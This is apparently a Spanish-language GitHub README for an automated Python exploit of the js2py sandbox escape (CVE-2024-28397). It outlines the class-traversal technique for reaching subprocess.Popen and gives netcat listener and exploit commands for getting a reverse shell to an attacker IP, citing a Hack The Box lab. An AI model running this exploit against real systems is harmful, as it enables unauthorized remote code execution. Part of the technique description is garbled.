l1337xi/cve-2024-28397-exploit-automationUn script de automatización en Python para explotar la vulnerabilidad **js2py Sandbox Escape** (CVE-2024-28397). Esta herramienta automatiza el proceso de generación y entrega de payloads para lograr Ejecución Remota de Código (RCE) en instancias vulnerables.
Un script de automatización en Python para explotar la vulnerabilidad js2py Sandbox Escape (CVE-2024-28397). Esta herramienta automatiza el proceso de generación y entrega de payloads para lograr Ejecución Remota de Código (RCE) en instancias vulnerables.
⚠️ Aviso Legal El uso de esta herramienta para atacar objetivos sin consentimiento mutuo previo es ilegal. Este repositorio es solo con fines educativos. El autor no se hace responsable por cualquier mal uso de esta información. Esta herramienta está diseñada para ser utilizada en evaluaciones de seguridad autorizadas y entornos Capture The Flag (CTF).
CVE-2024-28397 afecta a la librería js2py (versiones < 0.74). La librería no logra aislar correctamente el entorno JavaScript del entorno Python del host.
__class__ y __subclasses__ de Python.subprocess.Popen, lo que permite la ejecución de comandos arbitrarios en el servidor host.pip install requests
Inicia tu Netcat Listener :
nc -lvnp 1337
Ejecuta el Script :
python3 exploit.py -u <target url> -i <attacker ip> -p <attacker port>
Aquí está la herramienta en acción contra un objetivo vulnerable (Hack The Box - CodeTwo):
Ejecutando el exploit para generar el payload y activar el callback:
Recibiendo la reverse shell en el listener:
